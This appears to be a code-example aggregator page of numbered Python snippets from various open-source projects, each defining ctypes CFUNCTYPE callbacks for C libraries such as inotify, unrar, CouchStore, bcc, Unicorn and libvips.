#####################################################################
#  Author: James Chapman
#  License: BSD
#  Date: 13/03/2014
#  Description:
#####################################################################

import ctypes

# DLL handle
g_dllHandle = None

# Callback function type definition
# 1st param is return type
# 2nd param is function param type
CMPFUNC = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int)


#
# Function DLL will call back to
#
def callback_function(_callback_value):
    result = ctypes.c_int(_callback_value)
    print("Callback result: %d" % (result.value))


#
# Python API binding wrapped in a class
#
class PyIntAdd(object):
    def __init__(self, dll_file):
Example #2
0
 def wrap(name, restype, argtypes=()):
     proto = ctypes.CFUNCTYPE(restype, *argtypes)
     return proto(_helperlib.c_helpers[name])
Example #3
0
    libc_string = ctypes_find_library('c', 'libc.so.6')
    libc = ctypes.CDLL(libc_string, use_errno=True)

    if (not has_attribute(libc, 'inotify_init')
            or not has_attribute(libc, 'inotify_add_watch')
            or not has_attribute(libc, 'inotify_rm_watch')):
        raise ImportError("Unsupported libc version found: %s" % libc_string)

    # #include <sys/inotify.h>
    # char *strerror(int errnum);
    #strerror = ctypes.CFUNCTYPE(c_char_p, c_int)(
    #    ("strerror", libc))

    # #include <sys/inotify.h>
    # int inotify_init(void);
    inotify_init = ctypes.CFUNCTYPE(c_int,
                                    use_errno=True)(("inotify_init", libc))

    # #include <sys/inotify.h>
    # int inotify_init1(int flags);
    try:
        inotify_init1 = ctypes.CFUNCTYPE(c_int, c_int, use_errno=True)(
            ("inotify_init1", libc))
    except AttributeError:

        def inotify_init1(flags):
            raise AttributeError(
                "No such symbol inotify_init1 in libc. Non-blocking inotify is only provided by Linux 2.6.27 and newer."
            )

    # #include <sys/inotify.h>
    # int inotify_add_watch(int fd, const char *pathname, uint32_t mask);
Example #4
0
#int     cmos_obj_read_byte(const struct cmos_access_obj *, u8 *byte, u32 indexPort, u32 dataPort, u32 offset);
DLL.cmos_obj_read_byte.argtypes = [
    ctypes.POINTER(_CmosAccess),
    ctypes.POINTER(ctypes.c_uint8), ctypes.c_uint32, ctypes.c_uint32,
    ctypes.c_uint32
]
DLL.cmos_obj_read_byte.restype = ctypes.c_int
DLL.cmos_obj_read_byte.errcheck = errorOnNegativeFN(_strerror)

#int    cmos_obj_write_byte(const struct cmos_access_obj *, u8 byte,  u32 indexPort, u32 dataPort, u32 offset);
DLL.cmos_obj_write_byte.argtypes = [
    ctypes.POINTER(_CmosAccess), ctypes.c_uint8, ctypes.c_uint32,
    ctypes.c_uint32, ctypes.c_uint32
]
DLL.cmos_obj_write_byte.restype = ctypes.c_int
DLL.cmos_obj_write_byte.errcheck = errorOnNegativeFN(_strerror)

#// useful for checksums, etc
#typedef int (*cmos_write_callback)(const struct cmos_access_obj *, bool, void *);
WRITE_CALLBACK = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.POINTER(_CmosAccess),
                                  ctypes.c_bool, ctypes.c_void_p)
FREE_CALLBACK = ctypes.CFUNCTYPE(None, ctypes.c_void_p)

#void cmos_obj_register_write_callback(struct cmos_access_obj *, cmos_write_callback, void *, void (*destruct)(void *));
DLL.cmos_obj_register_write_callback.argtypes = [
    ctypes.POINTER(_CmosAccess), WRITE_CALLBACK, ctypes.c_void_p, FREE_CALLBACK
]
DLL.cmos_obj_register_write_callback.restype = None

#int cmos_obj_run_callbacks(const struct cmos_access_obj *m, bool do_update);
Example #5
0
            if ret is None:
                ret = CALLBACK_SUCCESS
        except:
            sys.stderr.write("An unhandled python exception has occurred in an "
                             "OTF2_DefReaderCallback:\n")
            sys.stderr.write(traceback.format_exc())
            ret = CALLBACK_ERROR
        return ret.value
    return callback_wrapper(func, wrapper, type)

def _convert_property_union(refered_def, name, type, value):
    union = AttributeValue()
    union._arg_value = value
    return refered_def, name, type, union

_DefReaderCallback_FP_Unknown = ctypes.CFUNCTYPE(CallbackCode, ctypes.c_void_p)

@otf2 for def in defs|local_defs:
_DefReaderCallback_FP_@@def.name@@ = ctypes.CFUNCTYPE(CallbackCode, ctypes.c_void_p@@def.py_funcargtypes(argtypes=false)@@)

@otf2 endfor
def DefReaderCallbacks_SetUnknownCallback(defReaderCallbacks, unknownCallback):
    c_SetUnknownCallback = conf.lib.OTF2_DefReaderCallbacks_SetUnknownCallback
    c_SetUnknownCallback.argtypes = [ ctypes.POINTER(DefReaderCallbacks), _DefReaderCallback_FP_Unknown ]
    c_SetUnknownCallback.restype = ErrorCode
    c_SetUnknownCallback.errcheck = HandleErrorCode
    wrapped_callback = _callback_wrapper(_DefReaderCallback_FP_Unknown,
                                         unknownCallback)
    c_SetUnknownCallback(defReaderCallbacks, wrapped_callback)

@otf2 for def in defs|local_defs:
Example #6
0
import ctypes

ERROR_HANDLER_FUNC = ctypes.CFUNCTYPE(None, ctypes.c_char_p, ctypes.c_int,
                                      ctypes.c_char_p, ctypes.c_int,
                                      ctypes.c_char_p)


def py_error_handler(filename, line, function, err, fmt):
    pass


def mute_alsa():
    c_error_handler = ERROR_HANDLER_FUNC(py_error_handler)

    try:
        asound = ctypes.cdll.LoadLibrary("libasound.so.2")
        asound.snd_lib_error_set_handler(c_error_handler)
    except OSError:
        pass
Example #7
0
                ("begin_column", ctypes.c_size_t),
                ("end_column", ctypes.c_size_t)]


class _AST(ctypes.Structure):
    pass


class _AST_SPAN(ctypes.Structure):
    _fields_ = [("data", ctypes.POINTER(_AST)), ("size", ctypes.c_uint)]


_AST._fields_ = [("location", _LOCATION), ("value", _VALUE),
                 ("children", _AST_SPAN)]

_ONMODEL_FUNC = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p,
                                 ctypes.c_void_p)
_CALL_FUNC = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_char_p, _VALUE_SPAN,
                              ctypes.c_void_p, ctypes.POINTER(_VALUE_SPAN))
_PARSE_CALLBACK = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.POINTER(_AST),
                                   ctypes.c_void_p)
_ADD_AST_CALLBACK = ctypes.CFUNCTYPE(ctypes.c_int,
                                     ctypes.POINTER(ctypes.POINTER(_AST)),
                                     ctypes.c_void_p)

# {{{2 error

#char const *clingo_error_what(clingo_error_t err);
_clingo.clingo_error_str.restype = ctypes.c_char_p
_clingo.clingo_error_str.argtypes = [ctypes.c_int]

# {{{2 value
Example #8
0
# find and load unrar library
unrarlib = None
if platform.system() == 'Windows':
    from ctypes.wintypes import HANDLE as WIN_HANDLE
    HANDLE = WIN_HANDLE
    UNRARCALLBACK = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_uint,
                                       ctypes.c_long, ctypes.c_long,
                                       ctypes.c_long)
    lib_path = lib_path or find_library("unrar.dll")
    if lib_path:
        unrarlib = ctypes.WinDLL(lib_path)
else:
    # assume unix
    HANDLE = ctypes.c_void_p
    UNRARCALLBACK = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_uint,
                                     ctypes.c_long, ctypes.c_long,
                                     ctypes.c_long)
    lib_path = lib_path or find_library("unrar")
    if lib_path:
        unrarlib = ctypes.cdll.LoadLibrary(lib_path)

if unrarlib is None:
    raise LookupError("Couldn't find path to unrar library.")


def dostime_to_timetuple(dostime):
    """Convert a RAR archive member DOS time to a Python time tuple."""
    dostime = dostime >> 16
    dostime = dostime & 0xffff
    day = dostime & 0x1f
    month = (dostime >> 5) & 0xf
Example #9
0
class CouchStore(object):
    """Interface to a CouchStore database."""
    def __init__(self, path, mode=None, unbuffered=False):
        """Creates a CouchStore at a given path. The option mode parameter can
        be 'r' for read-only access, or 'c' to create the file if it doesn't
        already exist."""
        if mode == 'r':
            flags = 2  # RDONLY
        elif mode == 'c':
            flags = 1  # CREATE
        else:
            flags = 0

        if unbuffered:
            flags |= 8  ## UNBUFFERED

        db = ctypes.c_void_p()
        _check(
            _lib.couchstore_open_db(path, ctypes.c_uint64(flags),
                                    ctypes.byref(db)))
        self._as_parameter_ = db
        self.path = path

    def __del__(self):
        self.close()

    def close(self):
        """Closes the CouchStore."""
        if hasattr(self, "_as_parameter_"):
            _lib.couchstore_close_file(self)
            _lib.couchstore_free_db(self)
            del self._as_parameter_

    def __str__(self):
        return "CouchStore(%s)" % self.path

    def getDbInfo(self):
        """Returns an object with information about the database. Its
        properties are filename, last_sequence, doc_count, deleted_count,
        space_used, header_position."""
        info = DbInfoStruct()
        _check(_lib.couchstore_db_info(self, ctypes.byref(info)))
        return info

    def rewindHeader(self):
        """Rewinds the database handle to the next-oldest committed header.
        Closes the handle if none can be found"""
        if hasattr(self, "_as_parameter_"):
            err = _lib.couchstore_rewind_db_header(self)
            if err != 0:
                del self._as_parameter_
            _check(err)

    COMPRESS = 1

    def save(self, id, data, options=0):
        """Saves a document with the given ID. Returns the sequence number."""
        if isinstance(id, DocumentInfo):
            infoStruct = id._asStruct()
            idbuf = infoStruct.id
        else:
            idbuf = SizedBuf(id)
            infoStruct = DocInfoStruct(idbuf)
        if data is not None:
            doc = DocStruct(idbuf, SizedBuf(data))
            docref = ctypes.byref(doc)
            if options & CouchStore.COMPRESS:
                infoStruct.content_meta |= 0x80
        else:
            docref = None
        _check(
            _lib.couchstore_save_document(self, docref,
                                          ctypes.byref(infoStruct),
                                          ctypes.c_uint64(options)))
        if isinstance(id, DocumentInfo):
            id.sequence = infoStruct.db_seq
        return infoStruct.db_seq

    def saveMultiple(self, ids, datas, options=0):
        """Saves multiple documents. 'ids' is an array of either strings or
        DocumentInfo objects. 'datas' is a parallel array of value strings (or
        None, in which case the documents will be deleted.) Returns an array of
        new sequence numbers."""
        n = len(ids)
        docStructs = (ctypes.POINTER(DocStruct) * n)()
        infoStructs = (ctypes.POINTER(DocInfoStruct) * n)()
        for i in xrange(0, n):
            id = ids[i]
            if isinstance(id, DocumentInfo):
                info = id._asStruct()
            else:
                info = DocInfoStruct(SizedBuf(id))
            doc = DocStruct(info.id)
            if datas and datas[i]:
                doc.data = SizedBuf(datas[i])
            else:
                info.deleted = True
            infoStructs[i] = ctypes.pointer(info)
            docStructs[i] = ctypes.pointer(doc)
        _check(
            _lib.couchstore_save_documents(self, ctypes.byref(docStructs),
                                           ctypes.byref(infoStructs),
                                           ctypes.c_uint(n),
                                           ctypes.c_uint64(options)))
        return [info.contents.db_seq for info in infoStructs]

    pass

    def commit(self):
        """Ensures all saved data is flushed to disk."""
        _check(_lib.couchstore_commit(self))

    DECOMPRESS = 1

    def get(self, id, options=0):
        """Returns the contents of a document (as a string) given its ID."""
        id = _toString(id)
        docptr = ctypes.pointer(DocStruct())
        err = _lib.couchstore_open_document(self, id, ctypes.c_size_t(len(id)),
                                            ctypes.byref(docptr), options)
        if err == -5:
            raise KeyError(id)
        _check(err)
        data = str(docptr.contents.data)
        _lib.couchstore_free_document(docptr)
        return data

    def __getitem__(self, key):
        return self.get(key)

    def __setitem__(self, key, value):
        self.save(key, value)

    def __delitem__(self, key):
        self.save(key, None)

    # Getting document info:

    def _infoPtrToDoc(self, key, infoptr, err):
        if err == -5:
            raise KeyError(key)
        _check(err)
        info = infoptr.contents
        if info is None:
            return None
        doc = DocumentInfo._fromStruct(info, self)
        _lib.couchstore_free_docinfo(infoptr)
        return doc

    def getInfo(self, id):
        """Returns the DocumentInfo object with the given ID."""
        id = _toString(id)
        infoptr = ctypes.pointer(DocInfoStruct())
        err = _lib.couchstore_docinfo_by_id(self, id, ctypes.c_size_t(len(id)),
                                            ctypes.byref(infoptr))
        return self._infoPtrToDoc(id, infoptr, err)

    def getInfoBySequence(self, sequence):
        """Returns the DocumentInfo object with the given sequence number."""
        infoptr = ctypes.pointer(DocInfoStruct())
        err = _lib.couchstore_docinfo_by_sequence(self,
                                                  ctypes.c_ulonglong(sequence),
                                                  ctypes.byref(infoptr))
        return self._infoPtrToDoc(sequence, infoptr, err)

    # Iterating:

    ITERATORFUNC = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p,
                                    ctypes.POINTER(DocInfoStruct),
                                    ctypes.c_void_p)

    def forEachChange(self, since, fn):
        """Calls the function "fn" once for every document sequence since the
        "since" parameter. The single parameter to "fn" will be a DocumentInfo
        object. You can call getContents() on it to get the document contents.
        """
        def callback(dbPtr, docInfoPtr, context):
            fn(DocumentInfo._fromStruct(docInfoPtr.contents, self))
            return 0

        _check(
            _lib.couchstore_changes_since(self, ctypes.c_uint64(since),
                                          ctypes.c_uint64(0),
                                          CouchStore.ITERATORFUNC(callback),
                                          ctypes.c_void_p(0)))

    def changesSince(self, since):
        """Returns an array of DocumentInfo objects, for every document that's
        changed since the sequence number "since"."""
        changes = []
        self.forEachChange(since, lambda docInfo: changes.append(docInfo))
        return changes

    def forEachDoc(self, startKey, endKey, fn):
        def callback(dbPtr, docInfoPtr, context):
            fn(DocumentInfo._fromStruct(docInfoPtr.contents, self))
            return 0

        ids = (SizedBuf * 2)()
        numIDs = 1
        if startKey:
            ids[0] = SizedBuf(startKey)
        if endKey:
            ids[1] = SizedBuf(endKey)
            numIDs = 2
        _check(
            _lib.couchstore_docinfos_by_id(self, ids, ctypes.c_uint(numIDs),
                                           ctypes.c_uint64(1),
                                           CouchStore.ITERATORFUNC(callback),
                                           ctypes.c_void_p(0)))

    def changesCount(self, minimum, maximum):
        cstruct = CounterStruct()
        err = _lib.couchstore_changes_count(self, ctypes.c_uint64(minimum),
                                            ctypes.c_uint64(maximum),
                                            ctypes.pointer(cstruct))
        _check(err)
        return cstruct.count

    @property
    def localDocs(self):
        """A simple dictionary-like object that accesses the CouchStore's local
        documents."""
        return LocalDocs(self)
def setUDP():
    global tmId
    from _InterfaceEnum import i_gui_PI_outputmsg
    tmId = i_gui_PI_outputmsg


def outputmsg(tm_ptr, size):
    """ Callback function when receiving this TM (opengeode-simulator) """
    if editor:
        editor.asn1Instance.SetData(tm_ptr)
        editor.pendingTM = True
        tm_callback.got_tm.emit()


# Callback function prototype - a void* param, and returning nothing
func = ctypes.CFUNCTYPE(None, ctypes.c_void_p, ctypes.c_long)
cmp_func = func(outputmsg)


def setSharedLib(dll=None):
    # The shared library is loaded and initialized by the caller
    global shared_lib
    shared_lib = dll
    dll.register_outputmsg(cmp_func)


log = None
statusbar = None
udpController = None

Example #11
0
lib.bpf_update_elem.restype = ct.c_int
lib.bpf_update_elem.argtypes = [
    ct.c_int, ct.c_void_p, ct.c_void_p, ct.c_ulonglong
]
lib.bpf_delete_elem.restype = ct.c_int
lib.bpf_delete_elem.argtypes = [ct.c_int, ct.c_void_p]
lib.bpf_open_raw_sock.restype = ct.c_int
lib.bpf_open_raw_sock.argtypes = [ct.c_char_p]
lib.bpf_attach_socket.restype = ct.c_int
lib.bpf_attach_socket.argtypes = [ct.c_int, ct.c_int]
lib.bcc_func_load.restype = ct.c_int
lib.bcc_func_load.argtypes = [
    ct.c_void_p, ct.c_int, ct.c_char_p, ct.c_void_p, ct.c_size_t, ct.c_char_p,
    ct.c_uint, ct.c_int, ct.c_char_p, ct.c_uint, ct.c_char_p
]
_RAW_CB_TYPE = ct.CFUNCTYPE(None, ct.py_object, ct.c_void_p, ct.c_int)
_LOST_CB_TYPE = ct.CFUNCTYPE(None, ct.py_object, ct.c_ulonglong)
lib.bpf_attach_kprobe.restype = ct.c_int
lib.bpf_attach_kprobe.argtypes = [
    ct.c_int, ct.c_int, ct.c_char_p, ct.c_char_p, ct.c_ulonglong, ct.c_int
]
lib.bpf_detach_kprobe.restype = ct.c_int
lib.bpf_detach_kprobe.argtypes = [ct.c_char_p]
lib.bpf_attach_uprobe.restype = ct.c_int
lib.bpf_attach_uprobe.argtypes = [
    ct.c_int, ct.c_int, ct.c_char_p, ct.c_char_p, ct.c_ulonglong, ct.c_int
]
lib.bpf_detach_uprobe.restype = ct.c_int
lib.bpf_detach_uprobe.argtypes = [ct.c_char_p]
lib.bpf_attach_tracepoint.restype = ct.c_int
lib.bpf_attach_tracepoint.argtypes = [ct.c_int, ct.c_char_p, ct.c_char_p]
Example #12
0
This module represents DPNP Algo interface to Numba JIT

The code idea gathered from numba-scipy and needs to be syncronized with
https://github.com/numba/numba-scipy/blob/master/numba_scipy/special/
"""

import ctypes

import numba
from numba.extending import get_cython_function_address as nba_addr

name_to_numba_signatures = {"cos": [(numba.types.float64)]}

name_and_types_to_pointer = {
    ("cos", numba.types.float64):
    ctypes.CFUNCTYPE(ctypes.c_double,
                     ctypes.c_double)(nba_addr("dpnp.dpnp_algo", "dpnp_cos"))
}


def choose_kernel(name, all_signatures):
    def choice_function(*args):
        for signature in all_signatures:
            if args == signature:
                f = name_and_types_to_pointer[(name, *signature)]
                return lambda *args: f(*args)

    return choice_function


def add_overloads():
    for name, all_signatures in name_to_numba_signatures.items():
Example #13
0
    _adsDLL = ctypes.windll.TcAdsDll  # type: Union[ctypes.CDLL, ctypes.WinDLL]
    NOTEFUNC = ctypes.WINFUNCTYPE(c_void_p, POINTER(SAmsAddr),
                                  POINTER(SAdsNotificationHeader), c_ulong)

elif platform_is_linux:
    # try to load local adslib.so in favor to global one
    local_adslib = os.path.join(os.path.dirname(__file__), 'adslib.so')
    if os.path.isfile(local_adslib):
        adslib = local_adslib
    else:
        adslib = 'adslib.so'

    _adsDLL = ctypes.CDLL(adslib)

    LNOTEFUNC = ctypes.CFUNCTYPE(None, ctypes.POINTER(SAmsAddr),
                                 ctypes.POINTER(SAdsNotificationHeader),
                                 ctypes.c_ulong)
else:
    raise RuntimeError('Unsupported platform {0}.'.format(sys.platform))

callback_store = dict()


class ADSError(Exception):
    """Error class for errors related to ADS communication."""

    def __init__(self, err_code=None, text=None):
        # type: (Optional[int], Optional[str]) -> None
        if err_code is not None:
            self.err_code = err_code
            try:
Example #14
0
_setup_prototype(_uc, "uc_context_alloc", ucerr, uc_engine,
                 ctypes.POINTER(uc_context))
_setup_prototype(_uc, "uc_free", ucerr, ctypes.c_void_p)
_setup_prototype(_uc, "uc_context_save", ucerr, uc_engine, uc_context)
_setup_prototype(_uc, "uc_context_restore", ucerr, uc_engine, uc_context)
_setup_prototype(_uc, "uc_context_size", ctypes.c_size_t, uc_engine)
_setup_prototype(_uc, "uc_context_free", ucerr, uc_context)
_setup_prototype(_uc, "uc_mem_regions", ucerr, uc_engine,
                 ctypes.POINTER(ctypes.POINTER(_uc_mem_region)),
                 ctypes.POINTER(ctypes.c_uint32))

# uc_hook_add is special due to variable number of arguments
_uc.uc_hook_add = _uc.uc_hook_add
_uc.uc_hook_add.restype = ucerr

UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_uint64,
                                   ctypes.c_size_t, ctypes.c_void_p)
UC_HOOK_INSN_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, uc_engine,
                                           ctypes.c_void_p)
UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, uc_engine,
                                          ctypes.c_int, ctypes.c_uint64,
                                          ctypes.c_int, ctypes.c_int64,
                                          ctypes.c_void_p)
UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_int,
                                         ctypes.c_uint64, ctypes.c_int,
                                         ctypes.c_int64, ctypes.c_void_p)
UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_uint32,
                                   ctypes.c_void_p)
UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, uc_engine,
                                      ctypes.c_uint32, ctypes.c_int,
                                      ctypes.c_void_p)
UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_uint32,
Example #15
0
CF_INDEX = ctypes.c_long  # pylint: disable=invalid-name
CF_TIME_INTERVAL = ctypes.c_double  # pylint: disable=invalid-name
IO_RETURN = ctypes.c_uint
IO_HID_REPORT_TYPE = ctypes.c_uint
IO_OBJECT_T = ctypes.c_uint
MACH_PORT_T = ctypes.c_uint
IO_STRING_T = ctypes.c_char_p  # pylint: disable=invalid-name
IO_SERVICE_T = IO_OBJECT_T
IO_REGISTRY_ENTRY_T = IO_OBJECT_T

IO_HID_MANAGER_REF = ctypes.POINTER(_IOHIDManager)
IO_HID_DEVICE_REF = ctypes.POINTER(_IOHIDDevice)

IO_HID_REPORT_CALLBACK = ctypes.CFUNCTYPE(None, ctypes.py_object, IO_RETURN,
                                          ctypes.c_void_p, IO_HID_REPORT_TYPE,
                                          ctypes.c_uint32,
                                          ctypes.POINTER(ctypes.c_uint8),
                                          CF_INDEX)

# Define C constants
K_CF_NUMBER_SINT32_TYPE = 3
K_CF_STRING_ENCODING_UTF8 = 0x08000100
K_CF_ALLOCATOR_DEFAULT = None

K_IO_SERVICE_PLANE = b'IOService'
K_IO_MASTER_PORT_DEFAULT = 0
K_IO_HID_REPORT_TYPE_OUTPUT = 1
K_IO_RETURN_SUCCESS = 0

K_CF_RUN_LOOP_RUN_STOPPED = 2
K_CF_RUN_LOOP_RUN_TIMED_OUT = 3
Example #16
0
    import ctypes
    # On Windows, we use stdcall

    # Callback for buttons
    # typedef int (idaapi *buttoncb_t)(int button_code, form_actions_t &fa);

    _BUTTONCB_T = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_int,
                                     ctypes.c_void_p)

    # Callback for form change
    # typedef int (idaapi *formchgcb_t)(int field_id, form_actions_t &fa);
    _FORMCHGCB_T = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_int,
                                      ctypes.c_void_p)
except:
    try:
        _BUTTONCB_T = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int,
                                       ctypes.c_void_p)
        _FORMCHGCB_T = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int,
                                        ctypes.c_void_p)
    except:
        _BUTTONCB_T = _FORMCHGCB_T = None


# -----------------------------------------------------------------------
# textctrl_info_t clinked object
class textctrl_info_t(ida_idaapi.py_clinked_object_t):
    """Class representing textctrl_info_t"""

    # Some constants
    TXTF_AUTOINDENT = 0x0001
    """Auto-indent on new line"""
    TXTF_ACCEPTTABS = 0x0002
Example #17
0
def get_clib_test_routine(name, restype, *argtypes):
    ptr = getattr(clib_test, name)
    return ctypes.cast(ptr, ctypes.CFUNCTYPE(restype, *argtypes))
Example #18
0
_BUILD_PATH = "build"

# # DLL path
_SHADE_SO_PATH = 'SHADE.*.so'
# # the absolute path to the C shared object library
_LIB_PATH = os.path.join(_MODULE_PATH, "..", _BUILD_PATH, "**", _SHADE_SO_PATH)

_SHADE = None

try:
    _SHADE = c.cdll.LoadLibrary(glob.glob(_LIB_PATH)[0])
except IndexError:
    raise OSError('missing static SHADE*.so library!')

# Objective function
OBJFUNC = c.CFUNCTYPE(None, c.POINTER(c.c_double), c.c_int)

# Type annotation for result function
RESULTFUNC = c.CFUNCTYPE(None, c.POINTER(c.c_double), c.POINTER(c.c_double),
                         c.c_int, c.c_int)

_SHADE.run_SHADE.argtypes = (
    c.c_int,  # max_function_evaluations
    c.c_int,  # population_size
    # c.c_double,  # scaling_factor
    # c.c_double,  # crossover_rate
    OBJFUNC,  # objective_function
    c.c_int,  # problem_size
    c.c_double,  # lower_bound
    c.c_double,  # upper_bound
    c.POINTER(c.c_double),  # initial_population
Example #19
0
def _get_libc_func(name: str, restype, argtypes=None):  # type: ignore
    return ctypes.CFUNCTYPE(restype, *(argtypes or []),
                            use_errno=True)((name, _libc))
Example #20
0
import finalizable

# .15 is 7.25+ with the new vips8 API
libvips = ctypes.CDLL('libvips.so.15')
libvips.vips_init(sys.argv[0])

vips_object_print = libvips.vips_object_print
vips_object_print.argtypes = [ctypes.c_void_p]
vips_object_print.restype = None

# in C:
# typedef void *(*VipsArgumentMapFn)( VipsObject *,
#   GParamSpec *, VipsArgumentClass *, VipsArgumentInstance *,
#   void *a, void *b );
VipsArgumentMapFn = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p,
                                     ctypes.c_void_p, ctypes.c_void_p,
                                     ctypes.c_void_p, ctypes.c_void_p,
                                     ctypes.c_void_p)
vips_argument_map = libvips.vips_argument_map
vips_argument_map.argtypes = [
    ctypes.c_void_p, VipsArgumentMapFn, ctypes.c_void_p, ctypes.c_void_p
]
vips_argument_map.restype = ctypes.c_void_p

g_param_spec_get_name = libvips.g_param_spec_get_name
g_param_spec_get_name.argtypes = [ctypes.c_void_p]
g_param_spec_get_name.restype = ctypes.c_char_p


# given a class and value, search for a class member with that value
# handy for enum classes, use to turn numbers to strings
def class_value(classobject, value):
Example #21
0

@jit("float32(float32[:], float32[:])", nopython=True, parallel=True)
def KS_statistic(sample1, sample2):
    sample_both = np.concatenate((sample1, sample2))
    cdf1 = np.searchsorted(sample1, sample_both, 'right') / len(sample1)
    cdf2 = np.searchsorted(sample2, sample_both, 'right') / len(sample2)
    ks = np.max(np.abs(cdf1 - cdf2))
    return ks


## Standard normal distribution

_addr_ndtri = get_cython_function_address("scipy.special.cython_special",
                                          "ndtri")
_functype_ndtri = ctypes.CFUNCTYPE(ctypes.c_double, ctypes.c_double)
normal_ppf = _functype_ndtri(_addr_ndtri)

_addr_ndtr = get_cython_function_address("scipy.special.cython_special",
                                         "__pyx_fuse_0ndtr")
_functype_ndtr = ctypes.CFUNCTYPE(ctypes.c_double, ctypes.c_double)
normal_cdf = _functype_ndtr(_addr_ndtr)

## Quantile-Quantile plot


def calculate_QQplot(data1, data2, a=0):
    def _sample_quantiles(data):
        probplot = gofplots.ProbPlot(np.array(data, dtype=float), a=a)
        return probplot.sample_quantiles
Example #22
0
from objc_util import *
import ctypes
import ui
import location
import time
import weakref

# _map_delegate_cache is used to get a reference to the MapView from the (Objective-C) delegate callback. The keys are memory addresses of `OMMapViewDelegate` (Obj-C) objects, the values are `ObjCInstance` (Python) objects. This mapping is necessary because `ObjCInstance` doesn't guarantee that you get the same object every time when you instantiate it with a pointer (this may change in future betas). MapView stores a weak reference to itself in the specific `ObjCInstance` that it creates for its delegate.
_map_delegate_cache = weakref.WeakValueDictionary()

# Create a new Objective-C class to act as the MKMapView's delegate...
try:
    # If the script was run before, the class already exists.
    OMMapViewDelegate = ObjCClass('OMMapViewDelegate')
except:
    IMPTYPE = ctypes.CFUNCTYPE(None, c_void_p, c_void_p, c_void_p, c_bool)

    def mapView_regionDidChangeAnimated_imp(self, cmd, mk_mapview, animated):
        # Resolve weak reference from delegate to mapview:
        map_view = _map_delegate_cache[self].map_view_ref()
        if map_view:
            map_view._notify_region_changed()

    imp = IMPTYPE(mapView_regionDidChangeAnimated_imp)
    # This is a little ugly, but we need to make sure that `imp` isn't garbage-collected:
    ui._retain_me_mapview_delegate_imp1 = imp
    NSObject = ObjCClass('NSObject')
    class_ptr = c.objc_allocateClassPair(NSObject.ptr, 'OMMapViewDelegate', 0)
    selector = sel('mapView:regionDidChangeAnimated:')
    c.class_addMethod(class_ptr, selector, imp, 'v0@0:0@0B0')
    c.objc_registerClassPair(class_ptr)
Example #23
0
#!/usr/bin/env python3
"""Python binding of SWITCH wrapper of LetMeCreate library."""

import ctypes

_LIB = ctypes.CDLL('libletmecreate_core.so')
_CALLBACK_TYPE = ctypes.CFUNCTYPE(None)
_CALLBACKS = {}

SWITCH_1_PRESSED = 0x01
SWITCH_1_RELEASED = 0x02
SWITCH_2_PRESSED = 0x04
SWITCH_2_RELEASED = 0x08
SWITCH_ALL_EVENTS = 0x0F


def init():
    """Initialise the switch.

    Note: An exception is thrown if an error occurs during initialisation.
    """
    global _CALLBACKS
    ret = _LIB.switch_init()
    if ret < 0:
        raise Exception("switch init failed")
    _CALLBACKS = {}


def add_callback(event_mask, callback):
    """Add a callback. Returns a callback ID.
Example #24
0
    def __init__(self, task = None, autoRun=False, gApis = None, progressCallback=None):
        self._joinResult = None
        self.gs = threading.Lock()
        if gApis is None:
            if __name__ == "__main__":
                gApis = globals()
            else:
                gApis = dict(inspect.getmembers(inspect.stack()[1][0]))["f_globals"]

        if task is None:
            task = parseTask(gApis['__doc__'])
        elif hasattr(task, 'upper'):
            task = parseTask(task)

        if progressCallback is not None:
            self.progressCallback = progressCallback

        self.httpGetPtr = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))(self.httpGetCallback)
        self.progessCallbackPtr = ctypes.CFUNCTYPE(None, ctypes.c_char_p)(self.progressCallback)
        osName = platform.system()
        archName = platform.architecture()[0]
        if osName == 'Linux' and hasattr(os, 'uname') and 'arm' in os.uname()[4]:
            archName = 'arm'
        self.os = '%s/%s' % (osName.lower(), 'amd64' if archName == '64bit' else '386')
        soName = 'backtest_py_%s_%s.so' % (osName.lower(), archName)
        loader = os.path.join("./depends", soName)
        if not os.path.exists(loader):
            hdic = {}
            tmpCache = getCacheDir()
            js = os.path.join(tmpCache, 'md5.json')
            if os.path.exists(js):
                b = open(js, 'rb').read()
                if os.getenv("BOTVS_TASK_UUID") is None or "3f8acb6eb7e38cc9b294698d2dd2a564" in str(b):
                    hdic = json_loads(b)
            loader = os.path.join(tmpCache, soName)
            update = False
            if not os.path.exists(loader):
                update = True
            else:
                old = md5.md5(open(loader, 'rb').read()).hexdigest()
                if old != hdic.get(soName, None):
                    update = True
                    backup = os.path.join(tmpCache, old)
                    try:
                        os.rename(loader, backup)
                        os.remove(backup)
                    except:
                        pass
            if update:
                open(loader, 'wb').write(httpGet("http://" + CLUSTER_IP + "/dist/depends/" + soName, CLUSTER_DOMAIN))
                open(js, 'wb').write(httpGet("http://" + CLUSTER_IP + "/dist/depends/md5.json", CLUSTER_DOMAIN))
        #declare
        lib = ctypes.CDLL(loader)
        lib.api_backtest.restype = ctypes.c_void_p
        ctx = ctypes.c_void_p(lib.api_backtest(safe_str(json.dumps(task)), self.httpGetPtr, self.progessCallbackPtr))
        if not ctx:
            raise 'Initialize backtest engine error'
        self.ctx = ctx
        self.lib = lib
        self.cache = {}
        self.kvdb = {}
